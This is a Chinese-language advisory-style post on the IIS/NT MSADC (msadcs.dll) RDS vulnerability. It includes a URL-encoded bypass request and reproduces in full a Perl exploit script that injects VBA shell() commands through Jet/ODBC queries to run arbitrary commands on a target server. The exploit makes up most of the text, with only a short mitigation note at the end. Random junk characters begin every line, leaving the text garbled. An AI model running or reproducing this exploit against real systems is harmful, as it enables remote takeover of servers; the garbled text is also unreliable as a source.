IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
Z5 w`-# [qq`cT@ 涉及程序：
yZQ1]
'^31 Microsoft NT server
L>eQ*311 I ):m 6y@ 描述：
_$~ex ~v 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
34HFrMi X}kVBT1w+x 详细：
<1v{[F_ 如果你没有时间读详细内容的话，就删除:
'Wd3`4V$ c:\Program Files\Common Files\System\Msadc\msadcs.dll
ikeJDKSG 有关的安全问题就没有了。
X+fu hcn K%o6hBlk_ 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
(8+.# 1!* hrUm} @d 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
)WzGy ~p8K 关于利用ODBC远程漏洞的描述，请参看:
Sz ^TG F PL9zNCr-[ http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm `@W3sW/^ aU ,0gvI(} 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
zS#f%{ http://www.microsoft.com/security/bulletins/MS99-025faq.asp }//8$ Z<( 94S .9A 这里不再论述。
$@XPL~4 5VCMpy 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
bf&.rJ0 RI7qsm6RN /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
;F"
kD 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
}?\#_BCjx( sASAsGk< mg/C U x #将下面这段保存为txt文件，然后: "perl -x 文件名"
\k2C 5f WoC\a^V #!perl
` HMligT #
&6=TtTp"9 # MSADC/RDS 'usage' (aka exploit) script
Q%_!xQP` #
<T4 7kL I # by rain.forest.puppy
1mvu3}ewx #
yHV^a0e7EH # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
E`
:ZH # beta test and find errors!
!8H!F j`|j 5x93+DkO\ use Socket; use Getopt::Std;
e UGm n s getopts("e:vd:h:XR", \%args);
Qr^Z~$i t 8+ @1wks print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
R] V~IDs \rB/83[;u if (!defined $args{h} && !defined $args{R}) {
U)IsTk~}O print qq~
7zz (# Usage: msadc.pl -h <host> { -d <delay> -X -v }
oRtY?6^$ -h <host> = host you want to scan (ip or domain)
bqf]$}/8k -d <seconds> = delay between calls, default 1 second
_"Fbj Q" -X = dump Index Server path table, if available
==r ? -v = verbose
M9ter& -e = external dictionary file for step 5
y&KoL\ tIg CF? Or a -R will resume a command session
$ Sc08ro KBUAdpU8 ~; exit;}
83p$ !8]u 0e7O #- $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
h;:S e if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
@eAGN|C5 if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
Q} k_#w if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
~ ]m@k' n $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
dd
@COP? if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
+w_MSj#P .$}Z:,aB
if (!defined $args{R}){ $ret = &has_msadc;
8 H$@Xts die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
NUxAv= xl .w t>.mUH print "Please type the NT commandline you want to run (cmd /c assumed):\n"
GT1 X . "cmd /c ";
|{}d5Z"5;} $in=<STDIN>; chomp $in;
?$`1%Y9 $command="cmd /c " . $in ;
KqG$zC^N 7oqn;6<[>, if (defined $args{R}) {&load; exit;}
c=jTs+h' *n$m;yI print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
z!Pdivx &try_btcustmr;
}hObtAS (pRy1DH~ print "\nStep 2: Trying to make our own DSN...";
Rzn 0-cG &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
8gu7f;H/k #7cf 8y print "\nStep 3: Trying known DSNs...";
M7cI$=G &known_dsn;
'6Z/-V 4k Xbsj:Ko]]U print "\nStep 4: Trying known .mdbs...";
A<*tn?M] &known_mdb;
tZc.%TU =":V
WHf if (defined $args{e}){
=."WvBKg print "\nStep 5: Trying dictionary of DSN names...";
iu:p &h &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
ADwwiq #E p1`' 1`.3 print "Sorry Charley...maybe next time?\n";
W0r5D9k exit;
n<"a+TTU ! A ydhe
##############################################################################
5e~{7{ #/
gme sub sendraw { # ripped and modded from whisker
)4o=t.O\K sleep($delay); # it's a DoS on the server! At least on mine...
,:Rq my ($pstr)=@_;
6lH>600]u socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
@Tm0T7C die("Socket problems\n");
0I
ND9h. % if(connect(S,pack "SnA4x8",2,80,$target)){
Z:o'
+oh select(S); $|=1;
v'2OHb# print $pstr; my @in=<S>;
Kw5+4R(5 select(STDOUT); close(S);
bju,p"J1-E return @in;
+XaO?F[c } else { die("Can't connect...\n"); }}
_c7 kdueQ(\ ##############################################################################
s"^YW+HMb (/rIodHJO sub make_header { # make the HTTP request
3
v,ae7$U& my $msadc=<<EOT
F" #3 s= POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
ju 2X* User-Agent: ACTIVEDATA
L^ jC&
dF Host: $ip
YQ[&h Content-Length: $clen
SJ|.% gn Connection: Keep-Alive
5IF~]5s BX) cV ADCClientVersion:01.06
W~@GK Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
M$-(4 0 yKk,); --!ADM!ROX!YOUR!WORLD!
4@V <Suw Content-Type: application/x-varg
B #V 4 Content-Length: $reqlen
m#}{"d&J GT`<jzAi Q EOT
0T{Y_IG ; $msadc=~s/\n/\r\n/g;
9[]"%6 return $msadc;}
pa> 2JF* 1_E3DXe ##############################################################################
:92a34 ~4
x Ba:*z sub make_req { # make the RDS request
`5 v51TpH my ($switch, $p1, $p2)=@_;
9Q M"JEu@ my $req=""; my $t1, $t2, $query, $dsn;
: Tl6:=B sCf(h if ($switch==1){ # this is the btcustmr.mdb query
kpMM%"=V $query="Select * from Customers where City=" . make_shell();
}mS0{rxD4 $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
r3bvuq,6$ $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
A,CPR0g%
0{ Ll4 elsif ($switch==2){ # this is general make table query
pUEok + $query="create table AZZ (B int, C varchar(10))";
kGTc~p( $dsn="$p1";}
Vgb>3]SU X72X:" elsif ($switch==3){ # this is general exploit table query
-H]f@|AOw $query="select * from AZZ where C=" . make_shell();
DDCQ Af $dsn="$p1";}
@IKe<{w 8LM1oal} elsif ($switch==4){ # attempt to hork file info from index server
C5n=2luI_ $query="select path from scope()";
kAF}*&Kzd~ $dsn="Provider=MSIDXS;";}
lL+^n~g hy`)]>9z~ elsif ($switch==5){ # bad query
(9q {J(44 $query="select";
N %/DN $dsn="$p1";}
V$F.`O!hfi *gpD4c7A\ $t1= make_unicode($query);
,ce^"yG $t2= make_unicode($dsn);
MldL" *HW: $req = "\x02\x00\x03\x00";
HkB<RsS$p_ $req.= "\x08\x00" . pack ("S1", length($t1));
WatLAn+ $req.= "\x00\x00" . $t1 ;
5 nIlG $req.= "\x08\x00" . pack ("S1", length($t2));
qO3BQ]UF $req.= "\x00\x00" . $t2 ;
^E? V+3mV $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
4 AmF ^H return $req;}
JY8"TQ$x %[CM;|?B4 ##############################################################################
{E HG | =X'7V}Q} sub make_shell { # this makes the shell() statement
w3cK:
C 0 return "'|shell(\"$command\")|'";}
"}aM*(l+\ \osQwGPV ##############################################################################
:Ty*i +&8Ud8Q sub make_unicode { # quick little function to convert to unicode
:\;uJ 5
my ($in)=@_; my $out;
->9xw for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
"@? kxRn! return $out;}
Nn 7@+g) 8t
\> ##############################################################################
A|OC?NZY b1^Yxe#L sub rdo_success { # checks for RDO return success (this is kludge)
^ nZ2p$ my (@in) = @_; my $base=content_start(@in);
~TR|Pv if($in[$base]=~/multipart\/mixed/){
{ hP&P return 1 if( $in[$base+10]=~/^\x09\x00/ );}
U jzz`!mz return 0;}
]BBgU[O)
! /%w[q:..h ##############################################################################
AFJY!ou~6 IGV.0l sub make_dsn { # this makes a DSN for us
1>{-wL 4rc my @drives=("c","d","e","f");
c^gIK1f- print "\nMaking DSN: ";
\k-juF80 foreach $drive (@drives) {
iC2nHZ*, print "$drive: ";
z(68^-V=: my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
Ui;s.f "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
:R\v# ) C . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
cyeDZ) $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
0\ ^2HjsJ return 0 if $2 eq "404"; # not found/doesn't exist
]Wm ?<7H if($2 eq "200") {
&nw ~gSe foreach $line (@results) {
O u,_l return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
ZTC1t_ } return 0;}
z6r/
w ,PxQ[CGg ##############################################################################
d+ ko"F| [mvHa;-w sub verify_exists {
3+uoK f[ my ($page)=@_;
XB 7^Ka my @results=sendraw("GET $page HTTP/1.0\n\n");
uL A XN return $results[0];}
"
CoR?[,x ,]qX_`qF ##############################################################################
.g?,:$`0D? nQ3goVRFP sub try_btcustmr {
WN1-J(x6 my @drives=("c","d","e","f");
C
P v}A my @dirs=("winnt","winnt35","winnt351","win","windows");
o@;_(knb Y &+/[ [ foreach $dir (@dirs) {
*lO+^\HXD print "$dir -> "; # fun status so you can see progress
Mw k_S Cy foreach $drive (@drives) {
=nZd"t'p| print "$drive: "; # ditto
kovzB] $reqlen=length( make_req(1,$drive,$dir) ) - 28;
;>Qd )' $reqlenlen=length( "$reqlen" );
ha~s<
I $clen= 206 + $reqlenlen + $reqlen;
N,$o' \l shZ<j7gqI my @results=sendraw(make_header() . make_req(1,$drive,$dir));
8 QBL:7< if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
M oHvXp;X else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
') y~d |%;txD ##############################################################################
X;>} ;LiK =upP3rw sub odbc_error {
H;&t"Ql. my (@in)=@_; my $base;
.w)t<7 y my $base = content_start(@in);
#_\~Vrf(# if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
A@'W $p?5r $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
E=trJge $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
6LQ O> k $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
ZfikNQU9r return $in[$base+4].$in[$base+5].$in[$base+6];}
C;>Ll~f_ print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
<Rt@z|Zv print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
B(dL`]@Xm $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
nJg2O@mRJ rM |RGe ##############################################################################
^u,x~nPXg '|T= sub verbose {
OG`O i^2 my ($in)=@_;
0VPa;{i/ return if !$verbose;
zy;w07-) print STDOUT "\n$in\n";}
u;}B4Rx S}O\<6& ##############################################################################
MEUqQ4/Gl CU_06A|} sub save {
(B#|3o my ($p1, $p2, $p3, $p4)=@_;
cf!R open(OUT, ">rds.save") || print "Problem saving parameters...\n";
c Zr4 print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
-- sb ;QG close OUT;}
%L.+r!. SiT & p ##############################################################################
Pc1N~?}. :[3\jLrc sub load {
c*Nbz,: my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
T7'$A!c open(IN,"<rds.save") || die("Couldn't open rds.save\n");
)_?$B6hf,& @p=<IN>; close(IN);
;v\n[ $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
N/VIP0Kb $target= inet_aton($ip) || die("inet_aton problems");
zY-m ]7Yf print "Resuming to $ip ...";
sA .yb,Fw $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
` 454=3H if($p[1]==1) {
J M%#L *; $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
+dv@N3GV $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
{%Sw w: my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
? |dz" = y if (rdo_success(@results)){print "Success!\n";}
gId+hxFa:r else { print "failed\n"; verbose(odbc_error(@results));}}
}Jfo(j elsif ($p[1]==3){
?#m5$CFp if(run_query("$p[3]")){
.YRSd print "Success!\n";} else { print "failed\n"; }}
(6{
VMQ elsif ($p[1]==4){
P+UK@~D+G if(run_query($drvst . "$p[3]")){
cj
*4 XYu print "Success!\n"; } else { print "failed\n"; }}
,YTIYG]( exit;}
p2K9 R4 3>6o=7/PU ##############################################################################
'CX
KphlWs ew g WzB9c sub create_table {
`fyAV @X my ($in)=@_;
:ux`*,z h $reqlen=length( make_req(2,$in,"") ) - 28;
,z3b2$
&A $reqlenlen=length( "$reqlen" );
2Mda'T8 $clen= 206 + $reqlenlen + $reqlen;
kn\>ZgU my @results=sendraw(make_header() . make_req(2,$in,""));
|z%,W/E f return 1 if rdo_success(@results);
=Wa\yBj_;m my $temp= odbc_error(@results); verbose($temp);
Zpmy)W]1
return 1 if $temp=~/Table 'AZZ' already exists/;
7SCI_8` return 0;}
}0G Ab2 Xk$lQMwZ ##############################################################################
.w~USJ=X )EoG@:[ sub known_dsn {
BR'|h G # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
~7
Tz Ub my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
u+_#qk0NfK "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
*$!LRmp? "banner", "banners", "ads", "ADCDemo", "ADCTest");
'\Ub*m((1O Qp ,l> k foreach $dSn (@dsns) {
TfPx print ".";
MR}\fw$(. next if (!is_access("DSN=$dSn"));
Kf.b
< wP{ if(create_table("DSN=$dSn")){
6X7_QBC) print "$dSn successful\n";
(Wn'.|^% if(run_query("DSN=$dSn")){
H =jnCGk print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
]!N 5jbA@ print "Something's borked. Use verbose next time\n";}}} print "\n";}
OBZj-`fq J X#y l8k_ ##############################################################################
@!$NUY8,A# %#,BvQz~ sub is_access {
&%lh ov my ($in)=@_;
0CROq} $reqlen=length( make_req(5,$in,"") ) - 28;
;
F=_ozWV* $reqlenlen=length( "$reqlen" );
@4i D N $clen= 206 + $reqlenlen + $reqlen;
i ?>"}h my @results=sendraw(make_header() . make_req(5,$in,""));
?HY0@XILI my $temp= odbc_error(@results);
5h1j.t! verbose($temp); return 1 if ($temp=~/Microsoft Access/);
w9%gaK; return 0;}
<_![~n$H N 5\<w> ##############################################################################
Li2)~4p>< |1D`v 9 sub run_query {
"{k3~epYaN my ($in)=@_;
hk
I$ow ( $reqlen=length( make_req(3,$in,"") ) - 28;
|j,Mof $reqlenlen=length( "$reqlen" );
RC 48e._t $clen= 206 + $reqlenlen + $reqlen;
~&x%;cnv_ my @results=sendraw(make_header() . make_req(3,$in,""));
L2qF@!Yy= return 1 if rdo_success(@results);
r2G<::<zL my $temp= odbc_error(@results); verbose($temp);
Ij+zR>P8=\ return 0;}
Fv9Z'#t }5k"aCno ##############################################################################
$sJn:
8z ,>$#e1!J sub known_mdb {
md0=6<
}P my @drives=("c","d","e","f","g");
VV my @dirs=("winnt","winnt35","winnt351","win","windows");
[Z 0 e$ my $dir, $drive, $mdb;
f As:[ my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
^{w&&+# ,q M Pt7 / # this is sparse, because I don't know of many
p,Z6/e[SI my @sysmdbs=( "\\catroot\\icatalog.mdb",
",}VB8K "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
)nY/ RO "\\system32\\certmdb.mdb",
/dfZ>k8 "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
Y'-Lt5SCS O v-I2 my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
4g 1h:I/ "\\cfusion\\cfapps\\forums\\forums_.mdb",
+FiV!nRkZ "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
n'ro5D "\\cfusion\\cfapps\\security\\realm_.mdb",
DB0xIP~i,? "\\cfusion\\cfapps\\security\\data\\realm.mdb",
Z|W=.RdA; "\\cfusion\\database\\cfexamples.mdb",
z,9qAts?mh "\\cfusion\\database\\cfsnippets.mdb",
0pR04"`; "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
3
*G=U "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
B;m18LDu "\\cfusion\\brighttiger\\database\\cleam.mdb",
9hv\%_>o "\\cfusion\\database\\smpolicy.mdb",
ty78)XI
"\\cfusion\\database\cypress.mdb",
c:0$
M w= "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
i `Tne3) "\\website\\cgi-win\\dbsample.mdb",
]HRZ9oP "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
qb_V
,b9 "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
d>%_<pw ); #these are just
vl#/ 8]0! foreach $drive (@drives) {
)L{\k$r!EM foreach $dir (@dirs){
C?O{l% 0 foreach $mdb (@sysmdbs) {
E8xXr>j># print ".";
U0rz 4fxc if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
&^<94l print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
;cO0Y.V9l if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
>eC^]#c print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
bfJDF(=h } else { print "Something's borked. Use verbose next time\n"; }}}}}
ZD,l 2DQ? 8[DD=[& foreach $drive (@drives) {
4MM# \ foreach $mdb (@mdbs) {
Dihk8qJ/6 print ".";
j<!$ug9VA if(create_table($drv . $drive . $dir . $mdb)){
982$d<0% print "\n" . $drive . $dir . $mdb . " successful\n";
ri:fo'4TO if(run_query($drv . $drive . $dir . $mdb)){
|9y &;3 print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
j.z#fU } else { print "Something's borked. Use verbose next time\n"; }}}}
-X=f+4 j }
0`x<sjG\q ecH y. 7H ##############################################################################
?eu=0|d 3] !(^N>V sub hork_idx {
r[gV`khka print "\nAttempting to dump Index Server tables...\n";
{<GsM print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
65AOFH $reqlen=length( make_req(4,"","") ) - 28;
gs!{'=4wT $reqlenlen=length( "$reqlen" );
[J^,_iN[. $clen= 206 + $reqlenlen + $reqlen;
BAxZR my @results=sendraw2(make_header() . make_req(4,"",""));
>fjf]
6 if (rdo_success(@results)){
M*}o{E; my $max=@results; my $c; my %d;
`mMD e for($c=19; $c<$max; $c++){
:>,d$f^tqE $results[$c]=~s/\x00//g;
M6e"4Gh $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
H1 l' \ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
os2yiF", $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
u%|VmM> $d{"$1$2"}="";}
X)yTx8v4 foreach $c (keys %d){ print "$c\n"; }
lu >>~vy6 } else {print "Index server doesn't seem to be installed.\n"; }}
:g,r l\S7 toQn]MT ##############################################################################
o6q Q zk =Xp 3UNXg sub dsn_dict {
#[A/zH|xvV open(IN, "<$args{e}") || die("Can't open external dictionary\n");
|m=@;B| while(<IN>){
6G( k{S $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
"u%$`* next if (!is_access("DSN=$dSn"));
7
724,+2N if(create_table("DSN=$dSn")){
tuv4~i< print "$dSn successful\n";
H[Qh* pq2 if(run_query("DSN=$dSn")){
3Mdg&~85 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
Y)uNzb6R print "Something's borked. Use verbose next time\n";}}}
p* ^O 8o print "\n"; close(IN);}
N+r~\[N\9 9oaq%Sf ##############################################################################
H
fRxgA @ ]Rw,5\0 sub sendraw2 { # ripped and modded from whisker
k<:!^_3H sleep($delay); # it's a DoS on the server! At least on mine...
D`LwW` 9 my ($pstr)=@_;
rz3&khi socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
A1:Fe9q die("Socket problems\n");
p0@iG yd if(connect(S,pack "SnA4x8",2,80,$target)){
i P/I% D print "Connected. Getting data";
!0w'S>e open(OUT,">raw.out"); my @in;
9)=as/o select(S); $|=1; print $pstr;
d>(dSK x while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
eo@:@ O+bm close(OUT); select(STDOUT); close(S); return @in;
t$}+oCnkv } else { die("Can't connect...\n"); }}
:!3P4?a L\b$1U!i ##############################################################################
UP,(zK TA '8}\! i& sub content_start { # this will take in the server headers
cd: O@)i my (@in)=@_; my $c;
~:JK Xa? for ($c=1;$c<500;$c++) {
+oyc9PoXF if($in[$c] =~/^\x0d\x0a/){
&AoWT:Ea if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
TzIgEn~ else { return $c+1; }}}
p>MX}^6 return -1;} # it should never get here actually
!D 'dx4L }d ##############################################################################
i4- >XvC (OJ}|*\ e sub funky {
T *$ uc, my (@in)=@_; my $error=odbc_error(@in);
%2 >FSE if($error=~/ADO could not find the specified provider/){
8x+K4B"oe print "\nServer returned an ADO miscofiguration message\nAborting.\n";
Z3 S\@_/; exit;}
0|HhA,u if($error=~/A Handler is required/){
wv1?v_4 print "\nServer has custom handler filters (they most likely are patched)\n";
hwexv 9"" exit;}
F2XXvxG if($error=~/specified Handler has denied Access/){
uH]^/'8vBd print "\nServer has custom handler filters (they most likely are patched)\n";
Ron^PvvY& exit;}}
6k ^vF~ {( t (}-:Z ##############################################################################
)`g[k" yB3 @w2}WX> sub has_msadc {
l =' lV] my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
PUa~Apj ' my $base=content_start(@results);
Bw{W -&$o return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
Cu!4ha.e` return 0;}
*g BaF/C 4I, HvP ########################
8o~\L=
l y_J{+ 5|AZ/!rb 解决方案：
1-q\C<Q) 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
^ 41 p+ 2、移除web 目录: /msadc
